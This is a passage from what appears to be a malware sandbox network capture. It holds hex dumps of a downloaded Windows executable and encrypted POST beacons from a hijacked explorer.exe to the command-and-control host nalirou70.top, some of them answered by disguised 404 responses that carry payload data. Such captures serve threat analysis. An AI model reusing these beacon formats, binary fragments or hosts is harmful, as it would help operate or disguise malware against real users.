00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELxL`:P@ T< Q(n@Pl.textp9: `.rdata:P<>@@.dataz@.rsrc @@
Nov 9, 2021 22:21:33.998907089 CET	8646	IN	Data Raw: c1 e0 04 89 01 c3 55 8b ec 83 ec 0c 83 3d 6c f9 41 00 03 56 8b f0 75 1a 8d 4d fc 51 8d 4d f8 51 33 c0 8d 4d f4 51 50 50 50 89 45 fc ff 15 1c 50 41 00 33 75 0c 8b 45 08 89 30 5e c9 c2 08 00 33 44 24 04 c2 04 00 81 00 ae 36 ef c6 c3 01 08 c3 55 8b Data Ascii: U=lAVuMQMQ3MQPPPEPA3uE0^3D$6UE(SV03=lAWxuSPPASSShHlAhlASlPAA]AEEEy7Er=lAu-h(mAPxPAEPPAjjP0PAAE
Nov 9, 2021 22:21:33.998945951 CET	8648	IN	Data Raw: 5d c3 8b ff 55 8b ec 51 83 65 fc 00 56 8d 45 fc 50 ff 75 0c ff 75 08 e8 d8 0e 00 00 8b f0 83 c4 0c 85 f6 75 18 39 45 fc 74 13 e8 7c 0e 00 00 85 c0 74 0a e8 73 0e 00 00 8b 4d fc 89 08 8b c6 5e c9 c3 8b ff 55 8b ec 53 8b 5d 08 83 fb e0 77 6f 56 57 Data Ascii: ]UQeVEPuuu9Et\|tsM^US]woVW=Auj h0YYt3@Pj5APAu&j^9AtSYu00_^SY3[]UQSV5PAW5B5B
Nov 9, 2021 22:21:33.998987913 CET	8649	IN	Data Raw: 75 a8 3b c6 74 19 83 f8 fe 74 14 8b c8 c1 f9 05 83 e0 1f c1 e0 06 03 04 8d 80 0d 42 00 eb 05 b8 10 94 41 00 f6 40 24 80 75 80 e8 5c 12 00 00 03 c3 50 6a 01 e8 6a 13 00 00 59 59 83 65 fc 00 e8 47 12 00 00 03 c3 50 e8 f4 13 00 00 8b f8 ff 75 08 e8 Data Ascii: u;ttBA@$u\PjjYYeGPu(.PVju&;u/H$xH @ Pj%YYePW-YYEEj [Pj9YYUVuFu
Nov 9, 2021 22:21:33.999012947 CET	8650	IN	Data Raw: 00 00 80 8d 38 fd ff ff 03 e8 97 00 00 00 5b c9 c3 d9 c9 dd 95 7a ff ff ff d9 c9 dd 55 82 eb dd 55 8b ec 81 c4 30 fd ff ff 53 9b d9 bd 5c ff ff ff 83 3d 18 9e 41 00 00 74 1b e8 f3 31 00 00 80 8d 38 fd ff ff 01 80 a5 38 fd ff ff fd e8 53 00 00 00 Data Ascii: 8[zUU0S\=At188S[zU0Suuuu\82[8=AuO0pt<t[<t?t3rf\f uf tr
Nov 9, 2021 22:21:33.999053001 CET	8652	IN	Data Raw: 59 ff 75 08 ff 15 b4 50 41 00 cc 6a 08 e8 7a 32 00 00 59 c3 6a 08 e8 98 31 00 00 59 c3 8b ff 56 e8 b9 27 00 00 8b f0 56 e8 b2 04 00 00 56 e8 ee fc ff ff 56 e8 e4 34 00 00 56 e8 cf 34 00 00 56 e8 c4 32 00 00 56 e8 ad 32 00 00 83 c4 18 5e c3 8b ff Data Ascii: YuPAjz2Yj1YV'VVV4V4V2V2^UVu3ut;ur^]U=]Ath]A\5Ytu]AY4hQAhtQAYYuTVWhL@lQApQAY;st;r=B_^thB
Nov 9, 2021 22:21:33.999092102 CET	8653	IN	Data Raw: 50 41 00 8d 86 e8 03 00 00 3b 05 bc ac 41 00 76 03 83 c8 ff 8b f0 83 f8 ff 75 ca 8b c7 5f 5e 5d c3 8b ff 55 8b ec 56 57 33 f6 6a 00 ff 75 0c ff 75 08 e8 d5 f9 ff ff 8b f8 83 c4 0c 85 ff 75 27 39 05 bc ac 41 00 76 1f 56 ff 15 c8 50 41 00 8d 86 e8 Data Ascii: PA;Avu_^]UVW3juuu'9AvVPA;Avu_^]UVW3uuT4YYu,9Et'9AvVPA;Avu_^]U}u]uj5APA]hp+@
Nov 9, 2021 22:21:33.999130011 CET	8654	IN	Data Raw: 8b 75 0c f7 46 0c 00 10 00 00 74 19 56 e8 ed 13 00 00 81 66 0c ff ee ff ff 83 66 18 00 83 26 00 83 66 08 00 59 5e 5d c3 8b ff 55 8b ec 8b 45 08 56 8b f1 c6 46 0c 00 85 c0 75 63 e8 da 1e 00 00 89 46 08 8b 48 6c 89 0e 8b 48 68 89 4e 04 8b 0e 3b 0d Data Ascii: uFtVff&fY^]UEVFucFHlHhN;(AtAHpu;F;AtFAHpu34FF@puHpF@F^]A@tyt$IxQPYYuUQSV
Nov 9, 2021 22:21:33.999167919 CET	8656	IN	Data Raw: 83 f8 53 0f 8f f2 00 00 00 0f 84 80 00 00 00 83 e8 41 74 10 48 48 74 58 48 48 74 08 48 48 0f 85 8c 05 00 00 80 c2 20 c7 85 94 fd ff ff 01 00 00 00 88 95 ef fd ff ff 83 8d f0 fd ff ff 40 8d bd f4 fd ff ff b8 00 02 00 00 89 bd e4 fd ff ff 89 85 9c Data Ascii: SAtHHtXHHtHH @9H00uu[;uA
Nov 9, 2021 22:21:33.999207020 CET	8657	IN	Data Raw: ff ff 00 02 00 00 89 85 e0 fd ff ff 89 b5 e4 fd ff ff 74 62 85 c0 74 07 8b ce 80 39 30 74 57 ff 8d e4 fd ff ff 8b 8d e4 fd ff ff c6 01 30 40 eb 3f 49 66 39 30 74 07 83 c0 02 3b ce 75 f3 2b 85 e4 fd ff ff d1 f8 eb 28 3b de 75 0b a1 00 94 41 00 89 Data Ascii: tbt90tW0@?If90t;u+(;uAI8t@;u+}@t2t-t+t ++u'~! OF
Nov 9, 2021 22:21:34.299319029 CET	8662	IN	Data Raw: 06 8d 44 30 04 80 20 fd 8b c7 5f 5e 5d c3 6a 10 68 00 80 41 00 e8 ec eb ff ff 8b 5d 08 83 fb fe 75 1b e8 c7 e4 ff ff 83 20 00 e8 ac e4 ff ff c7 00 09 00 00 00 83 c8 ff e9 94 00 00 00 85 db 78 08 3b 1d 6c 0d 42 00 72 1a e8 a0 e4 ff ff 83 20 00 e8 Data Ascii: D0 _^]jhA]u x;lBr (<BD0tS/YeD0tuuSE+3 MEEu]S0YUEu

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.4	49880	162.159.134.233	443	C:\Users\user\AppData\Local\Temp\B8B0.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
20	192.168.2.4	49855	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:37.944626093 CET	8916	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://yvlvga.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 190 Host: nalirou70.top
Nov 9, 2021 22:21:37.945077896 CET	8916	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 96 66 5d 02 c9 a1 c1 64 17 de cc 27 Data Ascii: `K2wF0Gj[lwmwu$f]d'CC6[:lZ3,W-Ok$kf;qT$M?<V;vo*A&;F&SU'[Glu-\|]~8x
Nov 9, 2021 22:21:38.934572935 CET	8926	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:38 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
21	192.168.2.4	49861	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:39.266026020 CET	8930	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://tqhblvfem.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 232 Host: nalirou70.top
Nov 9, 2021 22:21:39.266047955 CET	8931	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 85 de 97 66 5d 02 c8 a1 c1 64 04 85 b6 23 Data Ascii: `K2wF0Gj[lwmwu$f]d#+@?qpsW`\eTDpeXV5r]=L8f5`8zcNbG$\=Cf0Q4}:R~\|\ lW`x8kgyoHVEDA++5aS
Nov 9, 2021 22:21:40.242944956 CET	8935	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:39 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 66 36 36 0d 0a 00 00 d2 a7 53 28 ca 53 57 5c 2f 8f 69 c1 50 22 ec 26 d8 a1 e7 26 67 0b 72 90 86 ec d2 ca 71 c4 7c be 02 d7 36 3f f4 65 91 89 49 80 4a 35 7e dc 99 bc 2f 8d 61 e9 72 e6 ce 17 b5 12 df 9c 22 60 1b d6 88 67 a1 c2 8a 31 51 0f 88 35 69 d1 88 86 a9 68 1b 1c 2e 4b 08 84 f3 77 b3 f6 12 94 b5 d4 02 cc 3a d8 c8 69 2f 2b ba 22 2e c0 90 88 e0 5d 98 70 16 d6 08 e3 57 da d8 ed 21 e5 e1 94 52 ea 59 9b 93 e2 86 38 f8 f3 a4 7c 1d 16 4d aa 8f 8c f5 cf 9b 2b 25 9b f6 ba e9 1a b0 1c 07 74 d2 87 9a 87 cd 2b 80 78 51 a1 a2 8f 3c 65 dd 1c e0 32 02 50 08 a8 da e2 30 a5 59 93 9b b7 4f f3 e0 e6 62 79 04 54 ea d6 d7 0c 3d 61 1d 27 f4 d2 af 34 91 b4 b9 21 80 20 59 55 11 5c 92 86 64 ab 49 11 80 c8 58 4b 67 13 d2 18 5b 47 86 65 39 15 32 29 c5 f7 15 67 aa cf 20 c0 7a 9f 06 a2 7f c1 96 98 8b 36 85 92 c9 8a 5c d8 06 0e 45 27 11 7d 87 f8 e0 04 89 f9 d4 57 80 90 70 89 ec 9c 48 6b 0e e1 a2 22 48 f2 d0 49 a1 ff bc ff 1f fd f5 3f f4 6f d3 7c cb 36 d2 ce 4e 49 b3 0b 5b 4c 65 55 5b ad 30 7a 83 3b 2b ca c3 e3 b2 ec 92 90 0f 1c 57 ee 87 7e 0c 35 8a 3d 50 7f d0 56 81 b6 9b 97 96 70 9f 8a 86 e8 47 5a ad b2 cb 99 6c 71 11 87 02 b1 b8 56 b0 40 f6 0a bf 8b 71 91 ce 21 b5 1e 55 df 76 79 d3 4f 5a 96 da 19 d1 3a 2d ca 41 06 02 25 47 c2 fa 6b 8a b2 e2 4b 6d ec c0 40 a4 e2 d0 d7 d9 86 4e 85 8b 51 b0 3e 5b f3 99 84 4a 04 38 8d 7d 14 2c d0 e8 b1 14 1d 73 10 22 17 4a 86 47 30 5a 22 a2 3f 0b 8e 6b 51 fd b5 54 02 f9 ee f8 b2 d6 4a 1f a7 e9 4d 51 02 43 64 cd 25 5c 8d b7 d7 21 0c 26 17 51 d2 eb e9 23 19 9d 46 3c 70 76 41 ae a6 c3 88 3e 9d 43 dd 17 fe 2f 43 9e f8 d8 62 47 42 f5 6a b7 be 34 56 9b 46 76 99 86 11 00 83 32 42 ea 6f cf ae 04 5d 94 36 e1 48 50 67 35 50 b8 81 be f0 80 de 5b 46 6a 36 cf 09 27 4e e2 d2 be 95 47 ab 63 10 ec f8 b9 5f 14 2c f2 e6 2f bd 44 ef bf 8b 4f dc ea 90 39 02 97 ab a4 57 25 f5 b8 d0 a7 85 62 4a 52 7d 54 7a 08 6c 39 c0 5e f3 5c 19 6d 63 95 be 07 3d da 9a 3e 05 22 7d e6 b2 68 60 bd 10 31 eb cd fc 25 15 8e b7 82 7f 8e 40 b6 f1 47 4e a1 21 84 88 4b 2e 69 81 77 af dd c6 83 41 df 30 ae b8 e8 21 10 a0 57 6e 61 87 bd 77 6a 67 09 0f 8a ef 22 3b 6b 81 c7 86 7a 8e 52 d3 e4 9e 4e 7b d6 7d 00 2c 0f 7a d7 9b 48 0b ad 8b bc 08 85 f7 8f 82 42 b7 28 85 d8 da 14 79 a2 8e b9 08 c0 fe 77 c6 1d 2b 15 bf fa a5 e9 a8 b2 13 3b 35 02 1a 1b eb c2 f5 6c 8d e3 17 d3 83 6f ce ed 3f ec cf 81 68 73 02 99 ea a6 f5 c3 05 d0 b3 d3 23 39 41 c4 a5 c8 63 77 ca 0b 8f bd d9 39 6b a1 99 98 77 e8 0f 4e 8c da 06 bd 37 87 8c b4 26 b8 2c 58 b2 77 6c 08 d8 f9 d2 eb 48 25 66 34 2d 6f 77 5e a5 37 48 84 99 ff 67 37 f9 ad a1 97 3b 86 f3 3d 98 bb 1f 67 c7 26 e1 39 c6 86 8e f0 09 af 63 9b 09 09 a8 00 13 30 7b 88 cc c9 e1 a3 c3 e5 0f 25 93 23 c4 a9 d7 cf 8e 3d 39 dc 46 ba 58 dc be b0 98 3f d8 94 eb 53 43 a1 0c 97 e4 6e 76 f9 14 34 0b 64 82 b2 64 4f 55 e0 ca 5e c3 bd c0 88 0b 54 d9 1d 69 7a de ff 3d e1 03 70 2e 1f f4 d4 6a a9 a9 16 da 68 22 bd c8 cb cf 3f ef c8 a9 a6 cc d5 02 47 71 98 66 3c 3d f8 bf cb 67 3f d8 97 24 a9 b9 fc f0 ba e8 57 2d c8 a1 11 19 af 7b 69 ad 72 5b 80 1c 97 36 db 64 11 82 f5 51 aa 3b c5 da a7 f1 7d 87 02 f3 35 43 25 11 00 ac 49 1d 02 a1 b7 28 e4 f0 f7 11 41 a6 a4 87 35 ce 19 c3 ce 85 d5 3a 94 d4 1b e4 2f 62 f1 22 27 c6 99 0a d7 d9 76 c5 89 10 c1 8b ba 97 28 35 bd a8 8f 59 9d 9b cf d5 f5 de 35 1f 98 92 f2 b2 6a 05 85 85 0a 9f 12 6f 03 62 53 b5 f8 80 99 8b 84 80 7f 1d b8 78 c0 b4 a7 a4 d0 91 46 e8 81 2f 0d 4d 76 00 94 23 c7 8e 07 e8 df 4a 17 7a 8d 42 14 7e 26 a0 81 ba 07 47 7d bb fb ce 3b 33 f0 82 6c 27 b4 e3 e4 ce 70 68 98 3b 6a fe da 3d b3 f5 3f 78 81 42 7b f9 e8 f0 85 a5 46 e5 Data Ascii: 1f66S(SW\/iP"&&grq\|6?eIJ5~/ar"`g1Q5ih.Kw:i/+".]pW!RY8\|M+%t+xQ<e2P0YObyT=a'4! YU\dIXKg[Ge92)g z6\E'}WpHk"HI?o\|6NI[LeU[0z;+W~5=PVpGZlqV@q!UvyOZ:-A%GkKm@NQ>[J8},s"JG0Z"?kQTJMQCd%\!&Q#F<pvA>C/CbGBj4VFv2Bo]6HPg5P[Fj6'NGc_,/DO9W%bJR}Tzl9^\mc=>"}h`1%@GN!K.iwA0!Wnawjg";kzRN{},zHB(yw+;5lo?hs#9Acw9kwN7&,XwlH%f4-ow^7Hg7;=g&9c0{%#=9FX?SCnv4ddOU^Tiz=p.jh"?Gqf<=g?$W-{ir[6dQ;}5C%I(A5:/b"'v(5Y5jobSxF/Mv#JzB~&G};3l'ph;j=?xB{F
Nov 9, 2021 22:21:40.243304968 CET	8936	IN	Data Raw: bb 63 eb 97 62 c6 70 d9 31 d3 48 45 72 08 8e c1 6c c4 f3 bc f0 be bf 3e 00 d0 6f 88 05 42 76 8c 9e 94 74 8d 47 41 99 84 05 8c e3 ec 9c 6d 56 30 c8 35 61 dd a7 36 09 c7 3e 76 f3 6b df c8 a7 d3 71 5d 03 45 3b e9 b4 15 54 57 70 3b 8b 38 7c e0 b5 55 Data Ascii: cbp1HErl>oBvtGAmV05a6>vkq]E;TWp;8\|UfG3Q2 !Sj^OM-GIKUtJYAVl>\|5F)s_S3kD--(X!+]1B#&;mW>=H\|a0//1
Nov 9, 2021 22:21:40.243326902 CET	8938	IN	Data Raw: 67 72 b1 90 17 d6 13 88 bd 8c 88 a4 cb 39 fc d0 f6 a4 6d cb 7d 7b df 3e 86 59 15 7c ce b7 a2 a0 6c a8 1c 94 53 5a 61 5f 29 c9 f9 dc 9b 27 58 b8 ad 7c 0a 9e 68 fa 03 2f dc ec 5c ee a5 9e b6 77 b2 62 c1 2a 6a ac a6 cd 97 a8 c1 13 f4 6c 81 c2 eb 98 Data Ascii: gr9m}{>Y\|lSZa_)'X\|h/\wbjl]_L4Yx}ZnQ.C6{N[-n~52bg}MH>OuR>#AZDsC_kT\1zu@.r)7:R>qS=#
Nov 9, 2021 22:21:40.243349075 CET	8939	IN	Data Raw: 83 da e5 3c 8a 86 60 07 42 99 7d 83 3d 9b f5 8d 3f e3 1e 40 8f 85 58 4b 44 80 02 ce a3 a7 bf 09 df 10 66 b8 c7 fc 3d 17 cd b2 b3 fd 67 6c fa 88 6c 20 09 9e 59 a6 56 69 b7 7a b1 6a df 1c 85 da 9c f1 61 6f 47 04 72 78 87 dd 84 2b b8 b4 c9 8d 24 47 Data Ascii: <`B}=?@XKDf=gll YVizjaoGrx+$GRTv!8IXf,W0:FJpSz)%$%^:{-u@[l{4[`VSr&FjWh:!v #N:<Id,b7)di( nUM
Nov 9, 2021 22:21:40.243370056 CET	8940	IN	Data Raw: 88 66 53 73 4c 6e 1c 51 61 2f d0 47 c6 77 4d 13 ae f7 53 ee db 7b a2 dd d3 48 75 78 ed 87 0a 3c 84 b5 b9 29 4d 31 e0 d5 d4 a9 d1 a2 00 40 42 94 be 8b 03 68 5a bf 2e d9 6d e5 66 21 25 16 d9 3e 11 b2 dd 07 6d 7e 03 7b a5 52 5a 0e f6 0c 87 ec 40 92 Data Ascii: fSsLnQa/GwMS{Hux<)M1@BhZ.mf!%>m~{RZ@d+Uu)7`\|QME{Qj.x}/xbF2Q QQv$P,fpUuq?q5]+2o>l*K_$m ?\a?L >yG7GUw#=Q{(ivxf&;t
Nov 9, 2021 22:21:40.243398905 CET	8942	IN	Data Raw: 80 27 9f 37 91 e3 fd 60 4f b6 2a 52 e0 09 d6 35 74 c1 3a fa e4 ce 8d a1 b6 00 e2 5f f4 4e c1 ed 5e f9 e2 29 67 27 fc f2 22 05 4e d8 13 cf 85 06 f7 98 cc 49 2c 8e 7a e9 4d 2f f2 3c 00 c3 aa 8a 2b d3 c9 09 d1 f9 b0 3c 59 e4 84 6b 18 29 ed fd 09 7f Data Ascii: '7`OR5t:_N^)g'"NI,zM/<+<Yk)xfOg.kQ;OZ!tBQ,!4S'v$>v9gUzS`Hgl'L_6r tJIs#+7im:tRih8V"Gmkn[#`xT5NIs
Nov 9, 2021 22:21:40.243423939 CET	8943	IN	Data Raw: 47 7b 94 d2 a3 49 39 98 48 a1 db fb 87 cf 2c a5 4d cd 83 82 13 a7 1e e1 19 80 32 7a 5c 85 06 7a c4 53 e5 bb a6 dc 19 71 c4 4c c5 3b 59 cd 78 23 89 f5 11 db c8 79 8f 57 07 37 55 df 58 c5 4e 13 8d cf c4 0c c1 9b 4b e3 7d 5c 65 77 66 38 47 d3 96 14 Data Ascii: G{I9H,M2z\zSqL;Yx#yW7UXNK}\ewf8Gg=sRk_7-9YHH<I4:RqGM<ZLWggR'3uB'$@HE8Y}]jmv?2000vS`;Ao@%g647;jk%jK/df-
Nov 9, 2021 22:21:40.243443966 CET	8945	IN	Data Raw: a8 06 0c e8 7f 36 2e 98 7b a6 bb 34 16 c6 71 81 b3 8c 7e 38 23 52 07 70 1d 15 bc d6 21 37 6e 61 71 d1 c1 b9 f7 0a d1 c6 ac d8 54 c3 92 ae 30 5a 93 7a 14 2f 14 d2 e3 94 97 a7 57 57 be c0 57 8e 85 63 f2 13 5b ca 4a a1 67 45 38 ae d8 46 8c c3 68 bc Data Ascii: 6.{4q~8#Rp!7naqT0Zz/WWWc[JgE8FhsW-\SpH:.Zzzom,xnX_Bz=:l!<Wp@FK.+lcig$h{)0"Dq/WH/`v8`w:4%0dD
Nov 9, 2021 22:21:40.243470907 CET	8946	IN	Data Raw: 70 ce b3 a6 39 32 dd 00 07 3f 66 02 14 f0 4c c0 cf 32 e1 ce d2 7b 3b 20 56 75 1a d6 bb f9 b8 4a cc 24 c1 13 36 d5 51 be 59 70 57 e6 64 52 e8 49 62 29 08 16 28 83 34 bd 3d 1e 0b 15 29 23 be 63 04 b7 49 22 1c 7e 11 10 de d6 03 09 3d dc 23 c0 74 73 Data Ascii: p92?fL2{; VuJ$6QYpWdRIb)(4=)#cI"~=#tss$)xHu&A vg4g{E?2{)7fteL}m z8+T\|FG(o:'?:7r3C_%XF-jzH/J`b9rOTF571
Nov 9, 2021 22:21:40.243493080 CET	8947	IN	Data Raw: 31 f2 33 fb 35 91 c2 26 81 b9 85 6a ea 51 c7 c4 33 2d c7 28 11 6d 66 c7 fc d0 aa af 2a 01 d7 35 41 a6 e3 db f4 0b 35 10 a6 3a f4 09 88 6f 6f 60 2e e0 0f f1 81 1b 1f 65 64 b7 e4 2a 10 f2 d2 5c e2 3d 42 7f cb 42 14 63 02 e7 b5 90 1b 4c 3f 8e 8e 3f Data Ascii: 135&jQ3-(mf5A5:oo`.ed\=BBcL??IQd=b02]dvQ[$'] P\rg9@L(pnD}eAl0WoZ#k"}y$`Bo>>Rro2W,.E~T$xuu]]:LS=q
Nov 9, 2021 22:21:40.540950060 CET	8948	IN	Data Raw: 6b af 3a 79 b9 22 99 bd e3 07 b4 23 e8 8a bd ef bf 8c 1a 3e 42 ea 05 00 31 40 aa f7 d1 aa 29 57 70 33 61 b0 ec ea 9d 46 0a 33 e7 80 a7 54 f7 a5 91 dc b1 4c 05 85 39 df c3 75 48 af 6c fc 82 8a 6b 52 77 21 c3 6c e5 c9 32 98 75 10 74 85 e7 8f 19 8a Data Ascii: k:y"#>B1@)Wp3aF3TL9uHlkRw!l2utY'%voA2f/,;zpG7_gxb<ASp>U7Y,9f1O ^"@&(7Nqw#Fn`0/};%*Pt^

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
22	192.168.2.4	49865	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:45.263072014 CET	9102	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://rykrbxyl.net/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 228 Host: nalirou70.top
Nov 9, 2021 22:21:45.263092041 CET	9103	OUT	Data Raw: 10 87 8a 97 60 f2 a7 bb b8 4b 0b 32 77 cd e2 88 46 1e a3 30 d0 47 6a ed ba ea da 81 fb d5 94 f2 1e c3 5b a9 6c 1b b9 e6 9a da f3 dd d0 80 11 1f 77 e5 14 88 d5 da fe b7 dc 6d bd a2 91 ba 77 d4 75 24 f3 c4 84 de 97 66 5d 02 c9 a1 c1 64 2d af d4 64 Data Ascii: `K2wF0Gj[lwmwu$f]d-d*,l%[v@2P`DcCVTN$l}kmatgT>0c_C!1WGKpJ;GvM:fRUDAfS#N+E(\|oVg
Nov 9, 2021 22:21:46.243541002 CET	9103	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Tue, 09 Nov 2021 21:21:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close Data Raw: 31 39 31 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 6e 61 6c 69 72 6f 75 37 30 2e 74 6f 70 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 191<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at nalirou70.top Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.4	49866	47.74.84.15	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Nov 9, 2021 22:21:46.581892014 CET	9104	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://oaayoceae.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 293 Host: nalirou70.top
